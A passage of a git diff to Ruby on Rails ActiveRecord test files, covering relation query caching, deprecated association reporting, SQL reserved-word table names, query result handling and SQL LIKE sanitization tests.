+    assert_nothing_raised { posts.lock!(false) }
   end
 
   def test_relation_join_method
-    assert_equal "Thank you for the welcome,Thank you again for the welcome", Post.first.comments.join(",")
+    assert_equal "Thank you for the welcome,Thank you again for the welcome", Post.first.comments.order(:id).join(",")
+  end
+
+  def test_relation_with_private_kernel_method
+    accounts = Account.all
+    assert_equal [accounts(:signals37)], accounts.open
+    assert_equal [accounts(:signals37)], accounts.available
+
+    sub_accounts = SubAccount.all
+    assert_equal [accounts(:signals37)], sub_accounts.open
+    assert_equal [accounts(:signals37)], sub_accounts.available
+
+    assert_equal [topics(:second)], topics(:first).open_replies
+  end
+
+  def test_where_with_take_memoization
+    5.times do |idx|
+      Post.create!(title: idx.to_s, body: idx.to_s)
+    end
+
+    posts = Post.all
+    first_post = posts.take
+    third_post = posts.where(title: "3").take
+
+    assert_equal "3", third_post.title
+    assert_not_same first_post, third_post
+  end
+
+  def test_find_by_with_take_memoization
+    5.times do |idx|
+      Post.create!(title: idx.to_s, body: idx.to_s)
+    end
+
+    posts = Post.all
+    first_post = posts.take
+    third_post = posts.find_by(title: "3")
+
+    assert_equal "3", third_post.title
+    assert_not_same first_post, third_post
+  end
+
+  test "#skip_query_cache!" do
+    Post.cache do
+      assert_queries_count(1) do
+        Post.all.load
+        Post.all.load
+      end
+
+      assert_queries_count(2) do
+        Post.all.skip_query_cache!.load
+        Post.all.skip_query_cache!.load
+      end
+    end
+  end
+
+  test "#skip_query_cache! with an eager load" do
+    Post.cache do
+      assert_queries_count(1) do
+        Post.eager_load(:comments).load
+        Post.eager_load(:comments).load
+      end
+
+      assert_queries_count(2) do
+        Post.eager_load(:comments).skip_query_cache!.load
+        Post.eager_load(:comments).skip_query_cache!.load
+      end
+    end
+  end
+
+  test "#skip_query_cache! with a preload" do
+    Post.cache do
+      assert_queries_count(2) do
+        Post.preload(:comments).load
+        Post.preload(:comments).load
+      end
+
+      assert_queries_count(4) do
+        Post.preload(:comments).skip_query_cache!.load
+        Post.preload(:comments).skip_query_cache!.load
+      end
+    end
+  end
+
+  test "#where with set" do
+    david = authors(:david)
+    mary = authors(:mary)
+
+    authors = Author.where(name: ["David", "Mary"].to_set)
+    assert_equal [david, mary], authors.order(:id)
+  end
+
+  test "#where with empty set" do
+    authors = Author.where(name: Set.new)
+    assert_empty authors
+  end
+
+  (ActiveRecord::Relation::MULTI_VALUE_METHODS - [:extending, :with]).each do |method|
+    test "#{method} with blank value" do
+      authors = Author.public_send(method, [""])
+      assert_empty authors.public_send(:"#{method}_values")
+    end
+  end
+
+  private
+    def custom_post_relation(alias_name = "omg_posts")
+      table_alias = Post.arel_table.alias(alias_name)
+
+      ActiveRecord::Relation.create(Post, table: table_alias)
+    end
+end
+
+class CreateOrFindByWithinTransactions < ActiveRecord::TestCase
+  unless current_adapter?(:SQLite3Adapter)
+    self.use_transactional_tests = false
+
+    def teardown
+      Subscriber.delete_all
+    end
+
+    def test_multiple_find_or_create_by_within_transactions
+      duel { Subscriber.find_or_create_by(nick: "bob") }
+    end
+
+    def test_multiple_find_or_create_by_bang_within_transactions
+      duel { Subscriber.find_or_create_by!(nick: "bob") }
+    end
+
+    private
+      def duel
+        assert_nil Subscriber.find_by(nick: "bob")
+
+        a_wakeup = Concurrent::Event.new
+        b_wakeup = Concurrent::Event.new
+
+        a = Thread.new do
+          Subscriber.transaction do
+            a_wakeup.wait
+            yield
+            b_wakeup.set
+          end
+        end
+
+        b = Thread.new do
+          Subscriber.transaction do
+            # Read the record prematurely for MySQL REPEATABLE READ to kick in
+            Subscriber.find_by(nick: "bob")
+
+            a_wakeup.set
+            b_wakeup.wait
+            yield
+          end
+        end
+
+        a.join
+        b.join
+
+        assert_equal 1, Subscriber.where(nick: "bob").count
+      end
   end
+end
+
+class DeprecatedAssociationsRelationSimpleTest < ActiveRecord::TestCase
+  include DeprecatedAssociationsTestHelpers
 
-  def test_connection_adapters_can_reorder_binds
-    posts = Post.limit(1).offset(2)
+  fixtures :cars
 
-    stubbed_connection = Post.connection.dup
-    def stubbed_connection.combine_bind_parameters(**kwargs)
-      offset = kwargs[:offset]
-      kwargs[:offset] = kwargs[:limit]
-      kwargs[:limit] = offset
-      super(**kwargs)
+  setup do
+    @model = DATS::Car
+  end
+
+  test "includes reports deprecated associations" do
+    assert_not_deprecated_association(:tires) do
+      @model.includes(:tires).to_a
+    end
+
+    assert_deprecated_association(:deprecated_tires, context: context_for_preload) do
+      @model.includes(:deprecated_tires).to_a
     end
+  end
 
-    posts.define_singleton_method(:connection) do
-      stubbed_connection
+  test "eager_load reports deprecated associations" do
+    assert_not_deprecated_association(:tires) do
+      @model.eager_load(:tires).to_a
     end
 
-    assert_equal 2, posts.to_a.length
+    assert_deprecated_association(:deprecated_tires, context: context_for_join) do
+      @model.eager_load(:deprecated_tires).to_a
+    end
+  end
+
+  test "preload reports deprecated associations" do
+    assert_not_deprecated_association(:tires) do
+      @model.preload(:tires).to_a
+    end
+
+    assert_deprecated_association(:deprecated_tires, context: context_for_preload) do
+      @model.preload(:deprecated_tires).to_a
+    end
+  end
+
+  test "extract_associated reports deprecated associations" do
+    assert_not_deprecated_association(:tires) do
+      @model.extract_associated(:tires).to_a
+    end
+
+    assert_deprecated_association(:deprecated_tires, context: context_for_preload) do
+      @model.extract_associated(:deprecated_tires).to_a
+    end
+  end
+
+  test "joins reports deprecated associations" do
+    assert_not_deprecated_association(:tires) do
+      @model.joins(:tires).to_a
+    end
+
+    assert_deprecated_association(:deprecated_tires, context: context_for_join) do
+      @model.joins(:deprecated_tires).to_a
+    end
+  end
+
+  test "left_outer_joins reports deprecated associations" do
+    assert_not_deprecated_association(:tires) do
+      @model.left_outer_joins(:tires).to_a
+    end
+
+    assert_deprecated_association(:deprecated_tires, context: context_for_join) do
+      @model.left_outer_joins(:deprecated_tires).to_a
+    end
+  end
+
+  test "left_joins reports deprecated associations" do
+    assert_not_deprecated_association(:tires) do
+      @model.left_joins(:tires).to_a
+    end
+
+    assert_deprecated_association(:deprecated_tires, context: context_for_join) do
+      @model.left_joins(:deprecated_tires).to_a
+    end
+  end
+
+  test "associated reports deprecated associations" do
+    assert_not_deprecated_association(:tires) do
+      @model.where.associated(:tires).to_a
+    end
+
+    assert_deprecated_association(:deprecated_tires, context: context_for_join) do
+      @model.where.associated(:deprecated_tires).to_a
+    end
+  end
+
+  test "missing reports deprecated associations" do
+    assert_not_deprecated_association(:tires) do
+      @model.where.missing(:tires).to_a
+    end
+
+    assert_deprecated_association(:deprecated_tires, context: context_for_join) do
+      @model.where.missing(:deprecated_tires).to_a
+    end
+  end
+end
+
+class DeprecatedAssociationsRelationComplexTest < ActiveRecord::TestCase
+  include DeprecatedAssociationsTestHelpers
+
+  fixtures :posts, :authors, :author_addresses
+
+  setup do
+    @model = DATS::Post
+  end
+
+  test "includes reports deprecated associations" do
+    assert_not_deprecated_association(:tires) do
+      @model.includes(:comments, author: :author_favorites).to_a
+    end
+
+    assert_deprecated_association(:deprecated_comments, context: context_for_preload) do
+      @model.includes(:deprecated_comments, author: :deprecated_author_favorites).to_a
+    end
+
+    assert_deprecated_association(:deprecated_author_favorites, model: DATS::Author, context: context_for_preload) do
+      @model.includes(:deprecated_comments, author: :deprecated_author_favorites).to_a
+    end
+  end
+
+  test "eager_load reports deprecated associations" do
+    assert_not_deprecated_association(:tires) do
+      @model.eager_load(:comments, author: :author_favorites).to_a
+    end
+
+    assert_deprecated_association(:deprecated_comments, context: context_for_join) do
+      @model.eager_load(:deprecated_comments, author: :deprecated_author_favorites).to_a
+    end
+
+    assert_deprecated_association(:deprecated_author_favorites, model: DATS::Author, context: context_for_join) do
+      @model.eager_load(:deprecated_comments, author: :deprecated_author_favorites).to_a
+    end
+  end
+
+  test "preload reports deprecated associations" do
+    assert_not_deprecated_association(:tires) do
+      @model.preload(:comments, author: :author_favorites).to_a
+    end
+
+    assert_deprecated_association(:deprecated_comments, context: context_for_preload) do
+      @model.preload(:deprecated_comments, author: :deprecated_author_favorites).to_a
+    end
+
+    assert_deprecated_association(:deprecated_author_favorites, model: DATS::Author, context: context_for_preload) do
+      @model.preload(:deprecated_comments, author: :deprecated_author_favorites).to_a
+    end
+  end
+
+  test "joins reports deprecated associations" do
+    assert_not_deprecated_association(:tires) do
+      @model.joins(:comments, author: :author_favorites).to_a
+    end
+
+    assert_deprecated_association(:deprecated_comments, context: context_for_join) do
+      @model.joins(:deprecated_comments, author: :deprecated_author_favorites).to_a
+    end
+
+    assert_deprecated_association(:deprecated_author_favorites, model: DATS::Author, context: context_for_join) do
+      @model.joins(:deprecated_comments, author: :deprecated_author_favorites).to_a
+    end
+  end
+
+  test "left_outer_joins reports deprecated associations" do
+    assert_not_deprecated_association(:tires) do
+      @model.left_outer_joins(:comments, author: :author_favorites).to_a
+    end
+
+    assert_deprecated_association(:deprecated_comments, context: context_for_join) do
+      @model.left_outer_joins(:deprecated_comments, author: :deprecated_author_favorites).to_a
+    end
+
+    assert_deprecated_association(:deprecated_author_favorites, model: DATS::Author, context: context_for_join) do
+      @model.left_outer_joins(:deprecated_comments, author: :deprecated_author_favorites).to_a
+    end
+  end
+
+  test "left_joins reports deprecated associations" do
+    assert_not_deprecated_association(:tires) do
+      @model.left_joins(:comments, author: :author_favorites).to_a
+    end
+
+    assert_deprecated_association(:deprecated_comments, context: context_for_join) do
+      @model.left_joins(:deprecated_comments, author: :deprecated_author_favorites).to_a
+    end
+
+    assert_deprecated_association(:deprecated_author_favorites, model: DATS::Author, context: context_for_join) do
+      @model.left_joins(:deprecated_comments, author: :deprecated_author_favorites).to_a
+    end
+  end
+
+  test "associated reports deprecated associations" do
+    assert_not_deprecated_association(:tires) do
+      @model.where.associated(:comments, :author_favorites).to_a
+    end
+
+    assert_deprecated_association(:deprecated_comments, context: context_for_join) do
+      @model.where.associated(:deprecated_comments, :author_favorites).to_a
+    end
+
+    assert_deprecated_association(:deprecated_author_favorites, model: DATS::Author, context: context_for_through(:author_favorites)) do
+      # :author_favorites is correct, this one is a has_many through and
+      # :deprecated_author_favorites is a nested one.
+      @model.where.associated(:deprecated_comments, :author_favorites).to_a
+    end
+  end
+
+  test "missing reports deprecated associations" do
+    assert_not_deprecated_association(:tires) do
+      @model.where.missing(:comments, :author_favorites).to_a
+    end
+
+    assert_deprecated_association(:deprecated_comments, context: context_for_join) do
+      @model.where.missing(:deprecated_comments, :author_favorites).to_a
+    end
+
+    assert_deprecated_association(:deprecated_author_favorites, model: DATS::Author, context: context_for_through(:author_favorites)) do
+      # :author_favorites is correct, this one is a has_many through and
+      # :deprecated_author_favorites is a nested one we get a notification for.
+      @model.where.missing(:deprecated_comments, :author_favorites).to_a
+    end
   end
 end
diff --git a/activerecord/test/cases/reload_models_test.rb b/activerecord/test/cases/reload_models_test.rb
index 5dc9d6d8b7a49..262c4715ce38a 100644
--- a/activerecord/test/cases/reload_models_test.rb
+++ b/activerecord/test/cases/reload_models_test.rb
@@ -1,22 +1,28 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/owner"
 require "models/pet"
 
 class ReloadModelsTest < ActiveRecord::TestCase
-  fixtures :pets, :owners
+  unless in_memory_db?
+    include ActiveSupport::Testing::Isolation
+
+    fixtures :pets, :owners
 
-  def test_has_one_with_reload
-    pet = Pet.find_by_name("parrot")
-    pet.owner = Owner.find_by_name("ashley")
+    def test_has_one_with_reload
+      pet = Pet.find_by_name("parrot")
+      pet.owner = Owner.find_by_name("ashley")
 
-    # Reload the class Owner, simulating auto-reloading of model classes in a
-    # development environment. Note that meanwhile the class Pet is not
-    # reloaded, simulating a class that is present in a plugin.
-    Object.class_eval { remove_const :Owner }
-    Kernel.load(File.expand_path(File.join(File.dirname(__FILE__), "../models/owner.rb")))
+      # Reload the class Owner, simulating auto-reloading of model classes in a
+      # development environment. Note that meanwhile the class Pet is not
+      # reloaded, simulating a class that is present in a plugin.
+      Object.class_eval { remove_const :Owner }
+      Kernel.load(File.expand_path("../models/owner.rb", __dir__))
 
-    pet = Pet.find_by_name("parrot")
-    pet.owner = Owner.find_by_name("ashley")
-    assert_equal pet.owner, Owner.find_by_name("ashley")
+      pet = Pet.find_by_name("parrot")
+      pet.owner = Owner.find_by_name("ashley")
+      assert_equal pet.owner, Owner.find_by_name("ashley")
+    end
   end
 end
diff --git a/activerecord/test/cases/reserved_word_test.rb b/activerecord/test/cases/reserved_word_test.rb
new file mode 100644
index 0000000000000..cd3977242ad2e
--- /dev/null
+++ b/activerecord/test/cases/reserved_word_test.rb
@@ -0,0 +1,141 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class ReservedWordTest < ActiveRecord::TestCase
+  self.use_instantiated_fixtures = true
+  self.use_transactional_tests = false
+
+  class Group < ActiveRecord::Base
+    Group.table_name = "group"
+    belongs_to :select
+    has_one :values
+  end
+
+  class Select < ActiveRecord::Base
+    Select.table_name = "select"
+    has_many :groups
+  end
+
+  class Values < ActiveRecord::Base
+    Values.table_name = "values"
+  end
+
+  class Distinct < ActiveRecord::Base
+    Distinct.table_name = "distinct"
+    has_and_belongs_to_many :selects
+    has_many :values, through: :groups
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.lease_connection
+    @connection.create_table :select, force: true
+    @connection.create_table :distinct, force: true
+    @connection.create_table :distinct_select, id: false, force: true do |t|
+      t.belongs_to :distinct
+      t.belongs_to :select
+    end
+    @connection.create_table :group, force: true do |t|
+      t.string :order
+      t.belongs_to :select
+    end
+    @connection.create_table :values, primary_key: :as, force: true do |t|
+      t.belongs_to :group
+    end
+  end
+
+  def teardown
+    @connection.drop_table :select, if_exists: true
+    @connection.drop_table :distinct, if_exists: true
+    @connection.drop_table :distinct_select, if_exists: true
+    @connection.drop_table :group, if_exists: true
+    @connection.drop_table :values, if_exists: true
+    @connection.drop_table :order, if_exists: true
+  end
+
+  def test_create_tables
+    assert_not @connection.table_exists?(:order)
+
+    @connection.create_table :order do |t|
+      t.string :group
+    end
+
+    assert @connection.table_exists?(:order)
+  end
+
+  def test_rename_tables
+    assert_nothing_raised { @connection.rename_table(:group, :order) }
+  end
+
+  def test_change_columns
+    assert_nothing_raised { @connection.change_column_default(:group, :order, "whatever") }
+    assert_nothing_raised { @connection.change_column("group", "order", :text, default: nil) }
+    assert_nothing_raised { @connection.rename_column(:group, :order, :values) }
+  end
+
+  def test_introspect
+    assert_equal ["id", "order", "select_id"], @connection.columns(:group).map(&:name).sort
+    assert_equal ["index_group_on_select_id"], @connection.indexes(:group).map(&:name).sort
+  end
+
+  def test_activerecord_model
+    x = Group.new
+    x.order = "x"
+    x.save!
+    x.order = "y"
+    x.save!
+    assert_equal x, Group.find_by_order("y")
+    assert_equal x, Group.find(x.id)
+  end
+
+  def test_delete_all_with_subselect
+    create_test_fixtures :values
+    assert_equal 1, Values.order(:as).limit(1).offset(1).delete_all
+    assert_raise(ActiveRecord::RecordNotFound) { Values.find(2) }
+    assert Values.find(1)
+  end
+
+  def test_has_one_associations
+    create_test_fixtures :group, :values
+    v = Group.find(1).values
+    assert_equal 2, v.id
+  end
+
+  def test_belongs_to_associations
+    create_test_fixtures :select, :group
+    gs = Select.find(2).groups
+    assert_equal 2, gs.length
+    assert_equal [2, 3], gs.collect(&:id).sort
+  end
+
+  def test_has_and_belongs_to_many
+    create_test_fixtures :select, :distinct, :distinct_select
+    s = Distinct.find(1).selects
+    assert_equal 2, s.length
+    assert_equal [1, 2], s.collect(&:id).sort
+  end
+
+  def test_activerecord_introspection
+    assert_predicate Group, :table_exists?
+    assert_equal ["id", "order", "select_id"], Group.columns.map(&:name).sort
+  end
+
+  def test_calculations_work_with_reserved_words
+    create_test_fixtures :group
+    assert_equal 3, Group.count
+  end
+
+  def test_associations_work_with_reserved_words
+    create_test_fixtures :select, :group
+    selects = Select.all.merge!(includes: [:groups]).to_a
+    assert_no_queries do
+      selects.each { |select| select.groups }
+    end
+  end
+
+  private
+    # custom fixture loader, uses FixtureSet#create_fixtures and appends base_path to the current file's path
+    def create_test_fixtures(*fixture_names)
+      ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT + "/reserved_words", fixture_names)
+    end
+end
diff --git a/activerecord/test/cases/result_test.rb b/activerecord/test/cases/result_test.rb
index 949086fda0463..7b00e7f9a1bab 100644
--- a/activerecord/test/cases/result_test.rb
+++ b/activerecord/test/cases/result_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
@@ -7,29 +9,58 @@ def result
         ["row 1 col 1", "row 1 col 2"],
         ["row 2 col 1", "row 2 col 2"],
         ["row 3 col 1", "row 3 col 2"],
-      ])
+      ], affected_rows: 3)
+    end
+
+    test "includes_column?" do
+      assert result.includes_column?("col_1")
+      assert_not result.includes_column?("foo")
     end
 
     test "length" do
       assert_equal 3, result.length
     end
 
-    test "to_hash returns row_hashes" do
+    test "to_a returns row_hashes" do
       assert_equal [
         { "col_1" => "row 1 col 1", "col_2" => "row 1 col 2" },
         { "col_1" => "row 2 col 1", "col_2" => "row 2 col 2" },
         { "col_1" => "row 3 col 1", "col_2" => "row 3 col 2" },
-      ], result.to_hash
+      ], result.to_a
     end
 
     test "first returns first row as a hash" do
       assert_equal(
         { "col_1" => "row 1 col 1", "col_2" => "row 1 col 2" }, result.first)
+      assert_equal [
+        { "col_1" => "row 1 col 1", "col_2" => "row 1 col 2" },
+      ], result.first(1)
+      assert_equal [
+        { "col_1" => "row 1 col 1", "col_2" => "row 1 col 2" },
+        { "col_1" => "row 2 col 1", "col_2" => "row 2 col 2" },
+      ], result.first(2)
+      assert_equal [
+        { "col_1" => "row 1 col 1", "col_2" => "row 1 col 2" },
+        { "col_1" => "row 2 col 1", "col_2" => "row 2 col 2" },
+        { "col_1" => "row 3 col 1", "col_2" => "row 3 col 2" },
+      ], result.first(3)
     end
 
     test "last returns last row as a hash" do
       assert_equal(
         { "col_1" => "row 3 col 1", "col_2" => "row 3 col 2" }, result.last)
+      assert_equal [
+        { "col_1" => "row 3 col 1", "col_2" => "row 3 col 2" },
+      ], result.last(1)
+      assert_equal [
+        { "col_1" => "row 2 col 1", "col_2" => "row 2 col 2" },
+        { "col_1" => "row 3 col 1", "col_2" => "row 3 col 2" },
+      ], result.last(2)
+      assert_equal [
+        { "col_1" => "row 1 col 1", "col_2" => "row 1 col 2" },
+        { "col_1" => "row 2 col 1", "col_2" => "row 2 col 2" },
+        { "col_1" => "row 3 col 1", "col_2" => "row 3 col 2" },
+      ], result.last(3)
     end
 
     test "each with block returns row hashes" do
@@ -45,16 +76,14 @@ def result
       end
     end
 
-    if Enumerator.method_defined? :size
-      test "each without block returns a sized enumerator" do
-        assert_equal 3, result.each.size
-      end
+    test "each without block returns a sized enumerator" do
+      assert_equal 3, result.each.size
     end
 
     test "cast_values returns rows after type casting" do
       values = [["1.1", "2.2"], ["3.3", "4.4"]]
       columns = ["col1", "col2"]
-      types = { "col1" => Type::Integer.new, "col2" => Type::Float.new }
+      types = [Type::Integer.new, Type::Float.new]
       result = Result.new(columns, values, types)
 
       assert_equal [[1, 2.2], [3, 4.4]], result.cast_values
@@ -63,7 +92,7 @@ def result
     test "cast_values uses identity type for unknown types" do
       values = [["1.1", "2.2"], ["3.3", "4.4"]]
       columns = ["col1", "col2"]
-      types = { "col1" => Type::Integer.new }
+      types = [Type::Integer.new]
       result = Result.new(columns, values, types)
 
       assert_equal [[1, "2.2"], [3, "4.4"]], result.cast_values
@@ -72,7 +101,7 @@ def result
     test "cast_values returns single dimensional array if single column" do
       values = [["1.1"], ["3.3"]]
       columns = ["col1"]
-      types = { "col1" => Type::Integer.new }
+      types = [Type::Integer.new]
       result = Result.new(columns, values, types)
 
       assert_equal [1, 3], result.cast_values
@@ -81,10 +110,60 @@ def result
     test "cast_values can receive types to use instead" do
       values = [["1.1", "2.2"], ["3.3", "4.4"]]
       columns = ["col1", "col2"]
-      types = { "col1" => Type::Integer.new, "col2" => Type::Float.new }
+      types = [Type::Integer.new, Type::Float.new]
       result = Result.new(columns, values, types)
 
       assert_equal [[1.1, 2.2], [3.3, 4.4]], result.cast_values("col1" => Type::Float.new)
     end
+
+    test "each when two columns have the same name" do
+      result = Result.new(["foo", "foo"], [
+        ["col 1", "col 2"],
+        ["col 1", "col 2"],
+        ["col 1", "col 2"],
+      ])
+
+      assert_equal 2, result.columns.size
+      result.each do |row|
+        assert_equal 1, row.size
+        assert_equal "col 2", row["foo"]
+      end
+    end
+
+    test "dup preserve all attributes" do
+      a = result
+      b = a.dup
+
+      assert_equal a.column_types, b.column_types
+      assert_equal a.columns, b.columns
+      assert_equal a.rows, b.rows
+      assert_equal a.column_indexes, b.column_indexes
+      assert_equal a.affected_rows, b.affected_rows
+
+      # Second round in case of mutation
+      b = b.dup
+
+      assert_equal a.column_types, b.column_types
+      assert_equal a.columns, b.columns
+      assert_equal a.rows, b.rows
+      assert_equal a.column_indexes, b.column_indexes
+      assert_equal a.affected_rows, b.affected_rows
+    end
+
+    test "column_types handles nil types in the column_types array" do
+      values = [["1.1", "2.2"], ["3.3", "4.4"]]
+      columns = ["col1", "col2"]
+      types = [Type::Integer.new, nil]  # Deliberately nil type for col2
+      result = Result.new(columns, values, types)
+
+      assert_not_nil result.column_types["col1"]
+      assert_not_nil result.column_types["col2"]
+
+      assert_instance_of ActiveRecord::Type::Value, result.column_types["col2"]
+
+      assert_nothing_raised do
+        result.column_types["col2"].deserialize("test value")
+      end
+    end
   end
 end
diff --git a/activerecord/test/cases/sanitize_test.rb b/activerecord/test/cases/sanitize_test.rb
index 23bcb0af1e10f..081a45ff1d9ea 100644
--- a/activerecord/test/cases/sanitize_test.rb
+++ b/activerecord/test/cases/sanitize_test.rb
@@ -1,38 +1,55 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/binary"
 require "models/author"
 require "models/post"
+require "models/customer"
 
 class SanitizeTest < ActiveRecord::TestCase
   def setup
   end
 
   def test_sanitize_sql_array_handles_string_interpolation
-    quoted_bambi = ActiveRecord::Base.connection.quote_string("Bambi")
-    assert_equal "name='#{quoted_bambi}'", Binary.send(:sanitize_sql_array, ["name='%s'", "Bambi"])
-    assert_equal "name='#{quoted_bambi}'", Binary.send(:sanitize_sql_array, ["name='%s'", "Bambi".mb_chars])
-    quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote_string("Bambi\nand\nThumper")
-    assert_equal "name='#{quoted_bambi_and_thumper}'", Binary.send(:sanitize_sql_array, ["name='%s'", "Bambi\nand\nThumper"])
-    assert_equal "name='#{quoted_bambi_and_thumper}'", Binary.send(:sanitize_sql_array, ["name='%s'", "Bambi\nand\nThumper".mb_chars])
+    quoted_bambi = ActiveRecord::Base.lease_connection.quote_string("Bambi")
+    assert_equal "name='#{quoted_bambi}'", Binary.sanitize_sql_array(["name='%s'", "Bambi"])
+    assert_deprecated ActiveSupport.deprecator do
+      assert_equal "name='#{quoted_bambi}'", Binary.sanitize_sql_array(["name='%s'", "Bambi".mb_chars])
+    end
+
+    quoted_bambi_and_thumper = ActiveRecord::Base.lease_connection.quote_string("Bambi\nand\nThumper")
+    assert_equal "name='#{quoted_bambi_and_thumper}'", Binary.sanitize_sql_array(["name='%s'", "Bambi\nand\nThumper"])
+
+    assert_deprecated ActiveSupport.deprecator do
+      assert_equal "name='#{quoted_bambi_and_thumper}'", Binary.sanitize_sql_array(["name='%s'", "Bambi\nand\nThumper".mb_chars])
+    end
   end
 
   def test_sanitize_sql_array_handles_bind_variables
-    quoted_bambi = ActiveRecord::Base.connection.quote("Bambi")
-    assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi"])
-    assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi".mb_chars])
-    quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote("Bambi\nand\nThumper")
-    assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper"])
-    assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper".mb_chars])
+    quoted_bambi = ActiveRecord::Base.lease_connection.quote("Bambi")
+    assert_equal "name=#{quoted_bambi}", Binary.sanitize_sql_array(["name=?", "Bambi"])
+    assert_deprecated ActiveSupport.deprecator do
+      assert_equal "name=#{quoted_bambi}", Binary.sanitize_sql_array(["name=?", "Bambi".mb_chars])
+    end
+    quoted_bambi_and_thumper = ActiveRecord::Base.lease_connection.quote("Bambi\nand\nThumper")
+    assert_equal "name=#{quoted_bambi_and_thumper}", Binary.sanitize_sql_array(["name=?", "Bambi\nand\nThumper"])
+    assert_deprecated ActiveSupport.deprecator do
+      assert_equal "name=#{quoted_bambi_and_thumper}", Binary.sanitize_sql_array(["name=?", "Bambi\nand\nThumper".mb_chars])
+    end
   end
 
   def test_sanitize_sql_array_handles_named_bind_variables
-    quoted_bambi = ActiveRecord::Base.connection.quote("Bambi")
-    assert_equal "name=#{quoted_bambi}", Binary.send(:sanitize_sql_array, ["name=:name", name: "Bambi"])
-    assert_equal "name=#{quoted_bambi} AND id=1", Binary.send(:sanitize_sql_array, ["name=:name AND id=:id", name: "Bambi", id: 1])
+    quoted_bambi = ActiveRecord::Base.lease_connection.quote("Bambi")
+    assert_equal "name=#{quoted_bambi}", Binary.sanitize_sql_array(["name=:name", name: "Bambi"])
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      assert_equal "name=#{quoted_bambi} AND id='1'", Binary.sanitize_sql_array(["name=:name AND id=:id", name: "Bambi", id: 1])
+    else
+      assert_equal "name=#{quoted_bambi} AND id=1", Binary.sanitize_sql_array(["name=:name AND id=:id", name: "Bambi", id: 1])
+    end
 
-    quoted_bambi_and_thumper = ActiveRecord::Base.connection.quote("Bambi\nand\nThumper")
-    assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=:name", name: "Bambi\nand\nThumper"])
-    assert_equal "name=#{quoted_bambi_and_thumper} AND name2=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=:name AND name2=:name", name: "Bambi\nand\nThumper"])
+    quoted_bambi_and_thumper = ActiveRecord::Base.lease_connection.quote("Bambi\nand\nThumper")
+    assert_equal "name=#{quoted_bambi_and_thumper}", Binary.sanitize_sql_array(["name=:name", name: "Bambi\nand\nThumper"])
+    assert_equal "name=#{quoted_bambi_and_thumper} AND name2=#{quoted_bambi_and_thumper}", Binary.sanitize_sql_array(["name=:name AND name2=:name", name: "Bambi\nand\nThumper"])
   end
 
   def test_sanitize_sql_array_handles_relations
@@ -41,43 +58,74 @@ def test_sanitize_sql_array_handles_relations
 
     sub_query_pattern = /\(\bselect\b.*?\bwhere\b.*?\)/i
 
-    select_author_sql = Post.send(:sanitize_sql_array, ["id in (?)", david_posts])
+    select_author_sql = Post.sanitize_sql_array(["id in (?)", david_posts])
     assert_match(sub_query_pattern, select_author_sql, "should sanitize `Relation` as subquery for bind variables")
 
-    select_author_sql = Post.send(:sanitize_sql_array, ["id in (:post_ids)", post_ids: david_posts])
+    select_author_sql = Post.sanitize_sql_array(["id in (:post_ids)", post_ids: david_posts])
     assert_match(sub_query_pattern, select_author_sql, "should sanitize `Relation` as subquery for named bind variables")
   end
 
   def test_sanitize_sql_array_handles_empty_statement
-    select_author_sql = Post.send(:sanitize_sql_array, [""])
+    select_author_sql = Post.sanitize_sql_array([""])
     assert_equal("", select_author_sql)
   end
 
   def test_sanitize_sql_like
-    assert_equal '100\%', Binary.send(:sanitize_sql_like, "100%")
-    assert_equal 'snake\_cased\_string', Binary.send(:sanitize_sql_like, "snake_cased_string")
-    assert_equal 'C:\\\\Programs\\\\MsPaint', Binary.send(:sanitize_sql_like, 'C:\\Programs\\MsPaint')
-    assert_equal "normal string 42", Binary.send(:sanitize_sql_like, "normal string 42")
+    assert_equal '100\%', Binary.sanitize_sql_like("100%")
+    assert_equal 'snake\_cased\_string', Binary.sanitize_sql_like("snake_cased_string")
+    assert_equal 'C:\\\\Programs\\\\MsPaint', Binary.sanitize_sql_like('C:\\Programs\\MsPaint')
+    assert_equal "normal string 42", Binary.sanitize_sql_like("normal string 42")
   end
 
   def test_sanitize_sql_like_with_custom_escape_character
-    assert_equal "100!%", Binary.send(:sanitize_sql_like, "100%", "!")
-    assert_equal "snake!_cased!_string", Binary.send(:sanitize_sql_like, "snake_cased_string", "!")
-    assert_equal "great!!", Binary.send(:sanitize_sql_like, "great!", "!")
-    assert_equal 'C:\\Programs\\MsPaint', Binary.send(:sanitize_sql_like, 'C:\\Programs\\MsPaint', "!")
-    assert_equal "normal string 42", Binary.send(:sanitize_sql_like, "normal string 42", "!")
+    assert_equal "100!%", Binary.sanitize_sql_like("100%", "!")
+    assert_equal "snake!_cased!_string", Binary.sanitize_sql_like("snake_cased_string", "!")
+    assert_equal "great!!", Binary.sanitize_sql_like("great!", "!")
+    assert_equal 'C:\\Programs\\MsPaint', Binary.sanitize_sql_like('C:\\Programs\\MsPaint', "!")
+    assert_equal "normal string 42", Binary.sanitize_sql_like("normal string 42", "!")
+  end
+
+  def test_sanitize_sql_like_with_wildcard_as_escape_character
+    assert_equal "1__000_%", Binary.sanitize_sql_like("1_000%", "_")
+    assert_equal "1%_000%%", Binary.sanitize_sql_like("1_000%", "%")
   end
 
   def test_sanitize_sql_like_example_use_case
     searchable_post = Class.new(Post) do
-      def self.search(term)
+      def self.search_as_method(term)
         where("title LIKE ?", sanitize_sql_like(term, "!"))
       end
+
+      scope :search_as_scope, -> (term) {
+        where("title LIKE ?", sanitize_sql_like(term, "!"))
+      }
     end
 
-    assert_sql(/LIKE '20!% !_reduction!_!!'/) do
-      searchable_post.search("20% _reduction_!").to_a
